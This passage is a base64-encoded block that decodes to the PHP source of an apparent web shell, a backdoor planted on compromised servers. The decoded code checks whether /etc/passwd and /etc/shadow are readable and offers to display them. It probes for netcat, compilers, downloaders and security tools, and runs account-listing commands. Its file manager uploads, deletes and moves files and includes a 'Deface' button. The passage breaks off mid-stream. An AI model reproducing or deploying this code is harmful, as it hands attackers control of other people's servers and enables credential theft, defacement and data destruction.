NQYXJhbSgkbiwgJHYpIHsKICAgICAgICAkdiA9IHRyaW0oJHYpOwogICAgICAgIGlmKCR2KSB7CiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicuJG4uJzogPC9zcGFuPic7CiAgICAgICAgICAgIGlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgZWNobyAkdi4nPGJyPic7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuJHYuJzwvcHJlPic7CiAgICAgICAgfQogICAgfQogICAgCiAgICBzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKICAgIHNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwogICAgJHRlbXA9YXJyYXkoKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCiAgICAgICAgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJPcmFjbGUiOwogICAgc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogICAgZWNobyAnPGJyPic7CiAgICAKICAgIGlmKCAkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsKICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsKICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CiAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAKICAgICAgICBzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4KCduZXQgYWNjb3VudHMnKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5GaWxlIE1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ10hPSdkZWZhY2UnKSB7CiAgICAgICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgewogICAgICAgICAgICBjYXNlICd1cGxvYWRGaWxlJzoKICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IFVwbG9hZCBBIEZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBDcmVhdGUgQSBOZXcgRGlyZWN0b3J5IjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgCiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgY2FzZSAncGFzdGUnOgogICAgICAgICAgICAgICAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydmJ10pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgewogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICB9CgogICAgJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyAgICBlY2hvICdDYW5ub3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47ICAgIH0KICAgIGdsb2JhbCAkc29ydDsKICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7CiAgICB9CiAgICBlY2hvICc8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpCiAgICAgICAgICAgICAgICBkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPHRhYmxlIHdpZHRoPVwnMTAwJVwnIGNsYXNzPVwnbWFpblwnIGNlbGxzcGFjaW5nPVwnMFwnIGNlbGxwYWRkaW5nPVwnMlwnPgogICAgICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsKICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7CiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICB9CiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICBmdW5jdGlvbiBjbXAoJGEsICRiKSB7CiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICB9CiAgICB1c29ydCgkZmlsZXMsICJjbXAiKTsKICAgIHVzb3J0KCRkaXJzLCAiY21wIik7CiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsKICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CiAgICAkbCA9IDA7CiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgewogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKICAgICAgICAkbCA9ICRsPzA6MTsKICAgIH0KICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj01PgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOwogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pJiZAY291bnQoJF9TRVNTSU9OWydmJ10pKXtlY2hvICc8b3B0aW9uIHZhbHVlPVwncGFzdGVcJz5QYXN0ZTwvb3B0aW9uPic7IH0KICAgIGVjaG8gJzwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiI+PC90ZD48dGQgY29sc3Bhbj0iMiIgYWxpZ249InJpZ2h0IiB3aWR0aD0iMSI+PGlucHV0IG5hbWU9ImRlZiIgaWQ9ImRlZiIgdmFsdWU9ImluZGV4LnBocCIgc2l6ZT0iMTAiLz4mbmJzcDs8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidcJyxcJ2RlZmFjZVwnLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZGVmXCcpLnZhbHVlKSIgdmFsdWU9IkFkZCB5b3VyIERlZmFjZSI+PC90ZD48L3RyPgogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2